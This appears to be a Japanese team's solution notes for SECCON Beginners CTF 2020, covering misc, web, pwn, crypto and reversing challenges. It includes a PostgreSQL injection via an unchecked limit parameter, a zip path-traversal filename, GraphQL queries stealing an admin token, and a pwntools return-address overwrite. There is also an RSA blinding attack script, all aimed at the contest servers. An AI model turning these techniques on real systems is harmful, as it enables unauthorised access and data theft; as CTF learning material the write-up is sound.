---
# System prepended metadata

title: Beginners CTF 2020

---

# Beginners CTF 2020



## Misc

### emoemoencode
- 与えられた絵文字はU+1F300～U+1F3FFに含まれているモノしかない。
- FLAGは、ctf4b～と与えられるはずなので、最初の絵文字の🍣=cだと見当つける。
- 🍣=U+1F363 c = U+0063だから、与えられた絵文字の各文字からユニコードの値で1F300ひく。

### readme
- `/home/ctf/flag` にフラグがあるらしい
- サーバに接続してパスを渡すとそのパスのファイルの中身を送ってくれる
    - ただし `ctf` の文字が含まれていると弾かれてしまう


## Web

### Spy


```python
@app.route("/", methods=["GET", "POST"])
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
    
    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # ここに来る時点でユーザは存在することがわかっている
        # ここでストレッチングを行っている
        # -> ストレッチングには時間がかかる
        # -> レスポンスタイムが遅かったユーザは存在するユーザである
        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))
```

```
Arthur 
Barbara
Christine
David
Elbert              long
Franklin 
George              long
Harris
Ivan
Jane
Kevin
Lazarus             long
Marc                long
Nathan
Oliver
Paul
Quentin
Randolph
Scott
Tony                long
Ulysses
Vincent
Wat 
Ximena              long
Yvonne              long
Zalmon
```

### Tweetstore
- keyword欄は入力は`'`をエスケープしてるので大したインジェクションはできないが、limit欄は;しか判定していない
- そのうえ、ページには、検索結果のツイート数を表示してるラベルがあるのでそこを出力欄として利用する。
- getpgusername() で現在のDBに接続しているユーザをだす。ascii(chr)で文字を文字コードに変換できる。
```
GET parameter
limit=ascii(substr(getpgusername(),1,1))
SQL
select (省略) limit ascii(substr(getpgusername(),1,1));

```
- 以上の要領でラベル欄に文字コードを出力できるためその後合成してつなげる。

### unzip
- zipファイルのファイル名を表示してくれる機能があるが、directoryも含んだファイル名を表示してくれる。
- .\.というフォルダ名の中にファイル多くと、ファイル表示機能によって遡ったファイルを表示できる。
```
../../flag.txt
```
-  を含むzipをアップロードする。※.\.はdirectory
-  PHP側でアップロードされたZIPファイルの内容リストを持っているので、表示ページのパラメータをいじるだけでは無理で、上のような構造を持つファイルを実際に送る必要がある

### profiler
- graphQL injection ?
- nginx + graphQL. javascriptは難読化解除する必要はないらしい。ヒント曰く
- `https://profiler.quals.beginners.seccon.jp/api` に直接POSTでqueryを送ることができる。
- flagが見れる管理者のuidは`admin`
1. queryのsomeoneでadminのtokenを取得する。
※以下は要求メッセージ。 mutationの時は、headerにcookieを忘れず送る
```json=
{"query":"query{someone(uid:\"admin\"){name\ntoken}}"}
```
2. mutationのupdateTokenで自分の作ったアカウントのtokenを変える。
```json=
{"query":"mutation {updateToken(token: \"[admin_token]\")}"}
```
3. flagをページから確認

## Pwn

### Beginner's Stack
- リターンアドレスを`win`関数に書き換えた
- 注意点として，`push rbp`を呼ばないために`0x400861(win関数の先頭)`ではなく`0x400862`に飛ぶようにした
  - `push rbp`を呼ぶと，`RSP`の値がアラインメント(アドレスが0x10で割り切れること)されていない値になるから
```:python
from pwn import *

payload = 'A' * 40 + '\x62\x08\x40\x00\x00\x00\x00\x00' 
# io = process('./chall')
# io.send(payload)
# io.interactive()
shell = remote('bs.quals.beginners.seccon.jp', 9001)
shell.send(payload)
shell.interactive()
```

### Beginner's Heap
- [heap based overflowの資料(どっかの大学)](http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/17/10_lecture.pdf)
- [heap based overflowの資料（日本語でいいし，mallocの解説も手堅い）](http://www.soi.wide.ad.jp/class/20040011/slides/19/56.html)
- [malloc/freeの解説](https://www.valinux.co.jp/technologylibrary/document/linux/malloc0001/)
- [malloc/freeの解説2](http://kyuri.hatenablog.jp/entry/2017/04/21/152626)
- [malloc動画](https://www.youtube.com/watch?v=0-vWT-t0UHg)
- [Pwn攻撃手法をがんばって体系化しようとしてるやつ](https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Pwn#Vulnerabilities%E8%84%86%E5%BC%B1%E6%80%A7)
- [Exploiting Heap Overflow for Beginners](https://null-byte.wonderhowto.com/forum/exploiting-heap-overflow-for-beginners-by-mohamed-ahmed-0179957/)
- [Glibc Malloc for Exploiters](https://github.com/yannayl/glibc_malloc_for_exploiters)
- [PicoCTFのpwn問題writeup](https://faraz.faith/2019-10-12-picoctf-2019-heap-challs/)
- [PicoCTFの一番かんたんなheap問題のwriteup](https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/Heap_overflow.md)
  - 結構丁寧でおすすめ

## Crypto

### R&B
解法コード
```:python
import base64
import codecs

crypto = "***"
while crypto[0] == 'B' or crypto[0] == 'R':
    if crypto[0] == 'B':
        crypto = base64.b64decode(crypto[1:]).decode()
    else:
        crypto = codecs.decode(crypto[1:], 'rot13')

print(crypto)
```

### RSA Calc
- [適応選択暗号文攻撃](http://inaz2.hatenablog.com/entry/2016/01/26/222303)
- 適当に過去のRSAに関するCTFのwriteup等を見ていたときに，この適応選択暗号文攻撃が条件に最も当てはまると思った
- 本来Fや1337が含まれる平文を暗号化することはできないが，適応選択暗号文攻撃を行うことで，暗号文を取得することができる
```:python
from Crypto.Util.number import *
from pwn import *
import sys

data = b'1330,7,+,F'
num = bytes_to_long(data)

n = 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133
e = 65537
r = 5
mr = (num * pow(r, e, n)) % n

shell = remote('rsacalc.quals.beginners.seccon.jp', 10001)
shell.recvuntil('> ')
shell.send('1\n')
shell.recvuntil('data>')
shell.send(long_to_bytes(mr))
shell.send('\n')
# signature output
print(shell.recvline())

# signature
cr = int("557d420445791264afcb7604dc92163fa8ce7d7d33199961d971b4ac0fd79e3f329ba317fbeff7c3043e0f6ef0bfe121cf59b231692bfdcdff93a328d6d7480922cf66d85940b4916f92cfd18f83a7127ff2a9e1bed5cd0e16a8f0675e9d7a527dd943c3b947cd4c3fdd15a9864f392600e2c9f87c53428291da0b18d7a77dfe", 16)

c = (cr * inverse(r, n)) % n
print(binascii.hexlify(long_to_bytes(c)).decode())
```

### Noisy equations
- フラグの長さは44
- 256ビットのランダムな整数を44×44個作って、それを使ってフラグを変形している

問題のコード:
```python
from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

```

上記のコードにて、それぞれの変数は以下の通り対応する。

- FLAG: 要素の値が不明なN次元ベクトル ( f )
- coeffs: 全要素が乱数値のNxN行列 ( C )
- answers: 式1によって与えられるN次元ベクトル ( a )

この問題の本質は、`f`ベクトルの導出である。
`a`は以下の式で計算される。

```python
a = C * f + r 
```

ここで`r`は、answers生成時に加算されている乱数を並べたN次元ベクトルである。この`r`は生成時にシードが固定されているため、`C`のように毎回ランダムではなく、固定されている。

上の式からは未知数が2つ(`f`, `r`)存在するため、1組の(`C`, `a`)からは解を導くことができない。
そこで(`C`, `a`)を2組用意し、それぞれを(`C0`, `a0`)と(`C1`, `a1`)とする。
すると以下のように`f`を導出することができる。

```python
a0 = C0 * f + r
a1 = C1 * f + r

D = C1 - C0

a1 = (D + C0) * f + r
   = D * f + C0 * f + r

a1 - a0 = D * f
D^(-1) * (a1 - a0) = f
```

以上より、`f`を導出し、ベクトルの各要素をアスキーコードでデコードする。

解答コード:

```python
import json
import numpy as np
from pwn import *

def get_noisy_data():
    shell = remote('noisy-equations.quals.beginners.seccon.jp', 3000)
    C = np.array(json.loads(shell.recvline()), dtype='float')
    a = np.array(json.loads(shell.recvline()), dtype='float')

    return (C, a)

if __name__ == '__main__':
    C0, a0 = get_noisy_data()
    C1, a1 = get_noisy_data()
    D = C1 - C0
    DInv = np.linalg.inv(D)
    f = np.round(np.dot(DInv, a1 - a0))

    for c in f:
        print(chr(int(c)), end='')
    print()
```

## Reversing

### Mask
- Ghidraを使った
  - デコンパイラがめちゃくちゃ便利
  - 正直，アセンブラ言語とか読めない
- 論理演算でフラグをごにょごにょしてるから，Pythonでデコーダ書いたらフラグが出た
  - ![](https://i.imgur.com/FlhMlgj.png)

```:python

s1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
s2 = "c`b bk`kj`KbababcaKbacaKiacki"

flag = ''

for i in range(len(s1)):
  flag = flag + chr((ord(s1[i]) | ord(s2[i])))
print(flag)
```
